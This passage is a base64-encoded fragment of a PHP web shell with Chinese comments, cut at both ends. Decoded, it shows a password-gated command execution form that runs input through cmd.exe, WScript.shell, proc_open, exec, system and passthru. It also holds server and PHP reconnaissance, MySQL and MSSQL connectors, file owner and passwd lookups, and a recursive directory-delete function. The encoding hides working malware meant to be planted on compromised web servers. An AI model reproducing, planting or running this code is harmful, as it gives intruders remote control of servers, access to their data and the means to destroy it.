YWx1ZSc9PidFeGVjdXRlJykpOwoJCXAoJzwvcD4nKTsKCQlmb3JtZm9vdCgpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7CgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7Cgl9CglwKCc8cD4nKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290KCk7CgoJaWYgKCRjb21tYW5kKSB7CgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsKCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgewoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7CgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7CgkJCWVjaG8gJHN0cm91dHB1dDsKCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwKCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpCgkJCSk7CgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgewoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsKCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOwoJCQkJZmNsb3NlKCRwaXBlc1swXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOwoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsKCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7CgkJCQl9CgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsKCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOwoJCQl9CgkJfSBlbHNlIHsKCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7CgkJfQoJCXAoJzwvcHJlPicpOwoJfQp9Ly9lbmQgc2hlbGwKCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52JykgewoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOwoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7CgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7CQoJJGluZm8gPSBhcnJheSgKCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwKCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksCgkJMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLAoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksCgkJNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLAoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLAoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwKCQk5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksCgoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLAoJCTExID0+IGFycmF5KCdQSFBJTkZPJywoSVNfUEhQSU5GTyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKFwncGhwaW5mb1wnKTsiPlllczwvYT4nIDogJ05vJykpLAoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLAoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwKCQkxNCA9PiBhcnJheSgnYWxsb3dfdXJsX2ZvcGVuJyxnZXRjZmcoJ2FsbG93X3VybF9mb3BlbicpKSwKCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwKCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksCgkJMTcgPT4gYXJyYXkoJ3JlZ2lzdGVyX2dsb2JhbHMnLGdldGNmZygncmVnaXN0ZXJfZ2xvYmFscycpKSwKCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLAoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLAoJCTIwID0+IGFycmF5KCdwb3N0X21heF9zaXplJyxnZXRjZmcoJ3Bvc3RfbWF4X3NpemUnKSksCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLAoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwKCQkyMyA9PiBhcnJheSgnZGlzYWJsZV9mdW5jdGlvbnMnLCRkaXNfZnVuYyksCgkpOwoKCWlmKCRwaHB2YXJuYW1lKSB7CgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7CgoJJGhwID0gYXJyYXkoMD0+ICdTZXJ2ZXInLCAxPT4gJ1BIUCcpOwoJZm9yKCRhPTA7JGE8MjskYSsrKSB7CgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOwoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7CgkJaWYgKCRhPT0wKSB7CgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7CgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgewoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOwoJCQl9CgkJfQoJCXAoJzwvdWw+Jyk7Cgl9Cn0vL2VuZCBwaHBlbnYKCmVsc2UgewoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOwp9Cgo/Pgo8L3RkPjwvdHI+PC90YWJsZT4KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPgoJLgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAoKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K5Ye95pWw5bqTCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovCgpmdW5jdGlvbiBtKCRtc2cpIHsKCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTtib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsKCWVjaG8gJG1zZzsKCWVjaG8gJzwvZGl2Pic7Cn0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsKCWdsb2JhbCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOwoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5OwoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107CgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/IDEgOiAwOwoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsKfQkKZnVuY3Rpb24gbXVsdGkoJG51bSwgJHBlcnBhZ2UsICRjdXJwYWdlLCAkdGFibGVuYW1lKSB7CgkkbXVsdGlwYWdlID0gJyc7CglpZigkbnVtID4gJHBlcnBhZ2UpIHsKCQkkcGFnZSA9IDEwOwoJCSRvZmZzZXQgPSA1OwoJCSRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7CgkJaWYoJHBhZ2UgPiAkcGFnZXMpIHsKCQkJJGZyb20gPSAxOwoJCQkkdG8gPSAkcGFnZXM7CgkJfSBlbHNlIHsKCQkJJGZyb20gPSAkY3VycGFnZSAtICRvZmZzZXQ7CgkJCSR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsKCQkJaWYoJGZyb20gPCAxKSB7CgkJCQkkdG8gPSAkY3VycGFnZSArIDEgLSAkZnJvbTsKCQkJCSRmcm9tID0gMTsKCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7CgkJCQkJJHRvID0gJHBhZ2U7CgkJCQl9CgkJCX0gZWxzZWlmKCR0byA+ICRwYWdlcykgewoJCQkJJGZyb20gPSAkY3VycGFnZSAtICRwYWdlcyArICR0bzsKCQkJCSR0byA9ICRwYWdlczsKCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7CgkJCQkJJGZyb20gPSAkcGFnZXMgLSAkcGFnZSArIDE7CgkJCQl9CgkJCX0KCQl9CgkJJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOwoJCWZvcigkaSA9ICRmcm9tOyAkaSA8PSAkdG87ICRpKyspIHsKCQkJJG11bHRpcGFnZSAuPSAkaSA9PSAkY3VycGFnZSA/ICRpLicgJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kaS4nKTsiPlsnLiRpLiddPC9hPiAnOwoJCX0KCQkkbXVsdGlwYWdlIC49ICgkY3VycGFnZSA8ICRwYWdlcyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgKyAxKS4nKTsiPk5leHQ8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5MYXN0PC9hPicgOiAnJyk7CgkJJG11bHRpcGFnZSA9ICRtdWx0aXBhZ2UgPyAnPHA+UGFnZXM6ICcuJG11bHRpcGFnZS4nPC9wPicgOiAnJzsKCX0KCXJldHVybiAkbXVsdGlwYWdlOwp9Ci8vIOeZu+mZhuWFpeWPowpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7Cj8+Cgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQoJPC9zdHlsZT4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+Cgk8L2Zvcm0+Cjw/cGhwCglleGl0Owp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyAKCQkJfQoJCQlAcGNsb3NlKCRmKTsKCQl9Cgl9CglyZXR1cm4gJHJlczsKfQpmdW5jdGlvbiB3aGljaCgkcHIpIHsKCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7CglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOyAKfQoKZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsKCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsKCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CgkJQGZjbG9zZSgkZnApOwoJfQp9CmZ1bmN0aW9uIGRpcnNpemUoJGRpcikgeyAKCSRkaCA9IEBvcGVuZGlyKCRkaXIpOwoJJHNpemUgPSAwOwoJd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSB7CgkJaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CgkJCSRwYXRoID0gJGRpci4nLycuJGZpbGU7CgkJCWlmIChAaXNfZGlyKCRwYXRoKSkgewoJCQkJJHNpemUgKz0gZGlyc2l6ZSgkcGF0aCk7CgkJCX0gZWxzZSB7CgkJCQkkc2l6ZSArPSBAZmlsZXNpemUoJHBhdGgpOwoJCQl9CgkJfQoJfQoJQGNsb3NlZGlyKCRkaCk7CglyZXR1cm4gJHNpemU7Cn0KLy8g6aG16Z2i6LCD6K+V5L+h5oGvCmZ1bmN0aW9uIGRlYnVnaW5mbygpIHsKCWdsb2JhbCAkc3RhcnR0aW1lOwoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKCSR0b3RhbHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1lKSwgNik7CgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsKfQoKLy/ov57mjqVNWVNRTOaVsOaNruW6kwpmdW5jdGlvbiBteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQltc3EoIlNFVCBjaGFyYWN0ZXJfc2V0X2Nvbm5lY3Rpb249JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfcmVzdWx0cz0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9jbGllbnQ9YmluYXJ5OyIsICRsaW5rKTsKCQl9Cgl9CglyZXR1cm4gJGxpbms7Cn0KCi8v6L+e5o6lTVNTUUzmlbDmja7lupMKZnVuY3Rpb24gbXNkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZT0nJykgewoJQGluaV9zZXQoJ21zc3FsLmNoYXJzZXQnLCAnVVRGLTgnKTsKCUBpbmlfc2V0KCdtc3NxbC50ZXh0bGltaXQnLCAyMTQ3NDgzNjQ3KTsKCUBpbmlfc2V0KCdtc3NxbC50ZXh0c2l6ZScsIDIxNDc0ODM2NDcpOwoJaWYoISRsaW5rID0gQG1zc3FsX2Nvbm5lY3QoJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgZmFsc2UpKSB7CgkJcCgnPGgyPicubXNtc2coKS4nPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG1zc3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPicubXNtc2coKS4nPC9oMj4nKTsKCQkJZXhpdDsKCQl9Cgl9CglyZXR1cm4gJGxpbms7Cn0KCi8vIOWOu+aOiei9rOS5ieWtl+espgpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyDmuIXpmaRIVE1M5Luj56CBCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIOiOt+WPluadg+mZkApmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpewoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsKfQoKZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7CgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsKCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9IAoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQoJZWxzZSB7JHR5cGUgPSAnPyc7fQoKCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyAKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsgCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsgCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7IAoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7IAoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7IAoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyAKCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOyAKCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9CglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9CglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9CiAKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8g5Yig6Zmk55uu5b2VCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgewoJJG15ZGlyPUBkaXIoJGRlbGRpcik7CQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsgCQkKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsgCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7IAoJCX0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9Cgl9IAoJJG15ZGlyLT5jbG9zZSgpOyAKCUBjaG1vZCgkZGVsZGlyLDA3NzcpOwoJcmV0dXJuIEBybWRpcig